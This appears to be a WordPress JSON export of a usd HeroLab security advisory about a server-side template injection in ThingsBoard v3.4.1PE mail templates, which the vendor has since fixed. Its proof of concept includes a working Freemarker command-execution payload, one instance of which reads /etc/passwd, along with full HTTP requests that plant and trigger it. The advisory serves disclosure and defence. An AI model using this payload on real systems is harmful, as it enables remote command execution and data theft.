{"id":20831,"date":"2023-08-29T10:09:54","date_gmt":"2023-08-29T08:09:54","guid":{"rendered":"https:\/\/herolab.usd.de\/security-advisories\/usd-2023-0010\/"},"modified":"2023-11-08T11:43:35","modified_gmt":"2023-11-08T10:43:35","slug":"usd-2023-0010","status":"publish","type":"page","link":"https:\/\/herolab.usd.de\/en\/security-advisories\/usd-2023-0010\/","title":{"rendered":"usd-2023-0010"},"content":{"rendered":"

[et_pb_section fb_built=\"1\" _builder_version=\"4.21.0\" _module_preset=\"default\" background_color=\"#2E353D\" custom_padding=\"||0px|||\" global_colors_info=\"{}\" theme_builder_area=\"post_content\"][et_pb_row _builder_version=\"4.21.0\" _module_preset=\"default\" global_colors_info=\"{}\" theme_builder_area=\"post_content\"][et_pb_column type=\"4_4\" _builder_version=\"4.21.0\" _module_preset=\"default\" global_colors_info=\"{}\" theme_builder_area=\"post_content\"][et_pb_text _builder_version=\"4.21.0\" _module_preset=\"default\" custom_padding=\"||13px|||\" hover_enabled=\"0\" global_colors_info=\"{}\" theme_builder_area=\"post_content\" sticky_enabled=\"0\"]<\/p>\n

usd-2023-0010 | SSTI in ThingsBoard v.3.4.1PE<\/h1>\n

<\/h1>\n

Advisory ID<\/strong>: usd-2023-0010
Product<\/strong>: ThingsBoard UI
Affected Version<\/strong>: v.3.4.1PE
Vulnerability Type<\/strong>: SSTI
Security Risk<\/strong>: High (CVSS:3.0\/AV:N\/AC:L\/PR:H\/UI:R\/S:C\/C:H\/I:H\/A:H)
Vendor URL<\/strong>: https:\/\/thingsboard.io\/<\/a>
Vendor Status<\/strong>: Fixed
CVE number<\/strong>: Pending
CVE Link<\/strong>: Pending
Last Update<\/strong>: 2023-08-29<\/p>\n

Desciption<\/h3>\n

ThingsBoard is an open-source IoT platform for data collection, processing, visualization, and device management.
During an assessment a server-side template injection (SSTI) vulnerability was discovered.
Thingsboard uses templates in the automated generation of mail content.
The structure of the document is specified by a template into which the data is inserted dynamically.
Many template languages have additional features, such as performing calculations, processing logical operations directly in the template, or even executing operating system commands.<\/p>\n

If templates can be dynamically created and modified by attackers, this poses a high risk to the confidentiality and integrity of the application.
Thingsboards UI uses Apache Freemarker which is considered as turing-complete and allows executing commands on the system level.<\/p>\n

Proof of Concept<\/h3>\n

It was discovered that users with permissions to modify the email templates are able to execute arbitrary commands on the underlying system.
A user needs to modify the default templates and inject a template variable which executes a command. After sending the email the command is executed and the output is embedded into the mail.<\/p>\n

As shown at https:\/\/portswigger.net\/research\/server-side-template-injection<\/a> an Apache Freemarker command execution is possible.
To execute whoami<\/strong> the following content must be inserted into the template: <#assign ex=\"freemarker.template.utility.Execute\"?new()> ${ex(\"whoami)}<\/strong>.
In the section White Labeling<\/em> => Mail Templates<\/em> the existing mail templates can be modified.
The following listing shows the request with the modified mail body.<\/p>\n

\n
<\/span>POST<\/span> \/api\/admin\/settings<\/span> HTTP<\/span>\/<\/span>1.1<\/span>\nHost<\/span>:<\/span> thingsboard.local<\/span>\nCookie<\/span>:<\/span> [SESSION_COOKIE]<\/span>\nContent-Length<\/span>:<\/span> 34715<\/span>\nContent-Type<\/span>:<\/span> application\/json<\/span>\nX-Authorization<\/span>:<\/span> Bearer [JWT]<\/span>\nUser-Agent<\/span>:<\/span> Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/109.0.5414.75 Safari\/537.36<\/span>\nConnection<\/span>:<\/span> close<\/span>\n\n{<\/span>\n  <\/span>\"id\"<\/span>:<\/span> <\/span>null<\/span>,<\/span>\n  <\/span>\"createdTime\"<\/span>:<\/span> <\/span>0<\/span>,<\/span>\n  <\/span>\"tenantId\"<\/span>:<\/span> <\/span>{<\/span>\n    <\/span>\"entityType\"<\/span>:<\/span> <\/span>\"TENANT\"<\/span>,<\/span>\n    <\/span>\"id\"<\/span>:<\/span> <\/span>\"43ee4ed0-ccf0-11ea-8c84-731415dbf7ca\"<\/span>\n  <\/span>},<\/span>\n  <\/span>\"key\"<\/span>:<\/span> <\/span>\"mailTemplates\"<\/span>,<\/span>\n  <\/span>\"jsonValue\"<\/span>:<\/span> <\/span>{<\/span>\n    <\/span>\"test\"<\/span>:<\/span> <\/span>{<\/span>\n      <\/span>\"subject\"<\/span>:<\/span> <\/span>\"Test message from ThingsBoard\"<\/span>,<\/span>\n      <\/span>\"body\"<\/span>:<\/span> <\/span>\"<#assign ex=\\\"freemarker.template.utility.Execute\\\"?new()> ${ex(\\\"cat \/etc\/passwd\\\")}<table class=\\\"main\\\" style=\\\"font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; box-sizing: border-box; border-radius: 3px; width: 100%; background-color: #f6f6f6; margin: 0px auto;\\\" cellspacing=\\\"0\\\" cellpadding=\\\"0\\\" bgcolor=\\\"#f6f6f6\\\">\\n<tbody>\\n<tr style=\\\"box-sizing: border-box; margin: 0px;\\\">\\n<td class=\\\"content-wrap\\\" style=\\\"box-sizing: border-box; vertical-align: top; margin: 0px; padding: 20px;\\\" align=\\\"center\\\" valign=\\\"top\\\">\\n<table style=\\\"box-sizing: border-box; border: solid 1px #e9e9e9; border-radius: 3px; margin: 0px; height: 127px; padding: 20px; background-color: #ffffff; width: 600px; max-width: 600px !important;\\\" width=\\\"600\\\" cellspacing=\\\"0\\\" cellpadding=\\\"0\\\">\\n<tbody>\\n<tr style=\\\"box-sizing: border-box; margin: 0px;\\\">\\n<td class=\\\"content-block\\\" style=\\\"color: #348eda; box-sizing: border-box; border-radius: 6px; vertical-align: top; margin: 0px; padding: 0px 0px 20px; width: 839px;\\\" valign=\\\"top\\\">\\n<h2>Test message from ThingsBoard<\/h2>\\n<\/td>\\n<\/tr>\\n<tr style=\\\"box-sizing: border-box; margin: 0px;\\\">\\n<td class=\\\"content-block\\\" style=\\\"box-sizing: border-box; vertical-align: top; margin: 0px; padding: 0px 0px 20px; width: 600px;\\\" valign=\\\"top\\\">\\n<p><span style=\\\"color: #000000;\\\">This email is indicating that your outgoing mail settings were set up correctly.&nbsp;<\/span><\/p>\\n<p>&nbsp;<\/p>\\n<\/td>\\n<\/tr>\\n<tr style=\\\"box-sizing: border-box; margin: 0px;\\\">\\n<td class=\\\"content-block\\\" style=\\\"box-sizing: border-box; vertical-align: top; margin: 0px; padding: 0px 0px 20px; width: 600px;\\\" valign=\\\"top\\\"><span style=\\\"color: #000000;\\\">&mdash; The ThingsBoard<\/span><\/td>\\n<\/tr>\\n<\/tbody>\\n<\/table>\\n<\/td>\\n<\/tr>\\n<\/tbody>\\n<\/table>\\n<table style=\\\"color: #999999; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; box-sizing: border-box; margin: 0px auto; height: 64px; background-color: #f6f6f6; width: 100%;\\\" cellpadding=\\\"0px 0px 20px\\\">\\n<tbody>\\n<tr style=\\\"box-sizing: border-box; margin: 0px;\\\">\\n<td class=\\\"aligncenter content-block\\\" style=\\\"box-sizing: border-box; font-size: 12px; margin: 0px; padding: 0px 0px 20px; width: 600px; text-align: center; vertical-align: middle;\\\" align=\\\"center\\\" valign=\\\"top\\\">This email was sent to&nbsp;<a style=\\\"box-sizing: border-box; color: #999999; margin: 0px;\\\" href=\\\"mailto:${targetEmail}\\\">${targetEmail}<\/a>&nbsp;by ThingsBoard.<\/td>\\n<\/tr>\\n<\/tbody>\\n<\/table>\"<\/span>\n    <\/span>},<\/span>\n[<\/span>...<\/span>]<\/span>\n<\/pre>\n<\/div>\n
After the template was modified and the template injection payload was inserted in the first line of the body, it is nececassary to trigger the mail content creation.
The modified template was used for test messages.
A test message can be sent by performing the following request.<\/p>\n
\n
<\/span>POST<\/span> \/api\/admin\/settings\/testMail<\/span> HTTP<\/span>\/<\/span>1.1<\/span>\nHost<\/span>:<\/span> thingsboard.local<\/span>\nCookie<\/span>:<\/span> [SESSION_COOKIE]<\/span>\nContent-Length<\/span>:<\/span> 397<\/span>\nContent-Type<\/span>:<\/span> application\/json<\/span>\nX-Authorization<\/span>:<\/span> Bearer [JWT]<\/span>\nUser-Agent<\/span>:<\/span> Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/109.0.5414.75 Safari\/537.36<\/span>\nConnection<\/span>:<\/span> close<\/span>\n\n{<\/span>\"id\"<\/span>:<\/span>null<\/span>,<\/span>\"createdTime\"<\/span>:<\/span>0<\/span>,<\/span>\"tenantId\"<\/span>:<\/span>null<\/span>,<\/span>\"key\"<\/span>:<\/span>\"mail\"<\/span>,<\/span>\"jsonValue\"<\/span>:{<\/span>\"useSystemMailSettings\"<\/span>:<\/span>false<\/span>,<\/span>\"mailFrom\"<\/span>:<\/span>\"localhost\"<\/span>,<\/span>\"smtpProtocol\"<\/span>:<\/span>\"smtp\"<\/span>,<\/span>\"smtpHost\"<\/span>:<\/span>\"localhost\"<\/span>,<\/span>\"smtpPort\"<\/span>:<\/span>\"25\"<\/span>,<\/span>\"timeout\"<\/span>:<\/span>\"10000\"<\/span>,<\/span>\"enableTls\"<\/span>:<\/span>false<\/span>,<\/span>\"tlsVersion\"<\/span>:<\/span>null<\/span>,<\/span>\"enableProxy\"<\/span>:<\/span>null<\/span>,<\/span>\"proxyHost\"<\/span>:<\/span>null<\/span>,<\/span>\"proxyPort\"<\/span>:<\/span>null<\/span>,<\/span>\"proxyUser\"<\/span>:<\/span>null<\/span>,<\/span>\"proxyPassword\"<\/span>:<\/span>null<\/span>,<\/span>\"username\"<\/span>:<\/span>null<\/span>}}<\/span>\n<\/pre>\n<\/div>\n
The mail address of the authenticated user receives a mail afterwards.
In the mail body the first line of the body contains the content of the \/etc\/passwd<\/strong> proofing that command execution is possible.<\/p>\n
\"\"<\/p>\n
Fix<\/h3>\n
It is recommended to define templates statically wherever possible.
If templates are generated dynamically based on user input, it must be ensured that attackers cannot inject any template commands or meta characters.
For this purpose, user input should be masked before it is inserted into the template.
It is also recommended to use templating engines that are not touring complete to separate the template engine and underlying system.<\/p>\n
References<\/h3>\n
https:\/\/portswigger.net\/research\/server-side-template-injection<\/a><\/p>\n
Timeline<\/h3>\n
    \n
  • 2023-04-20<\/strong>: First contact request via contact form<\/li>\n
  • 2023-04-20<\/strong>: Fix was announced for upcoming 3.5 release<\/li>\n
  • 2023-05-11<\/strong>: ThingsBoard 3.5 was released<\/li>\n<\/ul>\n
    Credits<\/h3>\n
    This security vulnerability was identified by Gerbert Roitburd of usd AG.<\/p>\n
    [\/et_pb_text][\/et_pb_column][\/et_pb_row][\/et_pb_section]<\/p>\n","protected":false},"excerpt":{"rendered":"
    usd-2023-0010 | SSTI in ThingsBoard v.3.4.1PE Advisory ID: usd-2023-0010Product: ThingsBoard UIAffected Version: v.3.4.1PEVulnerability Type: SSTISecurity Risk: High (CVSS:3.0\/AV:N\/AC:L\/PR:H\/UI:R\/S:C\/C:H\/I:H\/A:H)Vendor URL: https:\/\/thingsboard.io\/Vendor Status: FixedCVE number: PendingCVE Link: PendingLast Update: 2023-08-29 Desciption ThingsBoard is an open-source IoT platform for data collection, processing, visualization, and device management.During an assessment a server-side template injection (SSTI) vulnerability was discovered.Thingsboard uses templates […]<\/p>\n","protected":false},"author":115,"featured_media":0,"parent":16124,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","meta":{"_et_pb_use_builder":"on","_et_pb_old_content":"","_et_gb_content_width":"","inline_featured_image":false,"footnotes":""},"class_list":["post-20831","page","type-page","status-publish","hentry"],"_links":{"self":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/20831","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/users\/115"}],"replies":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/comments?post=20831"}],"version-history":[{"count":5,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/20831\/revisions"}],"predecessor-version":[{"id":21305,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/20831\/revisions\/21305"}],"up":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/16124"}],"wp:attachment":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/media?parent=20831"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}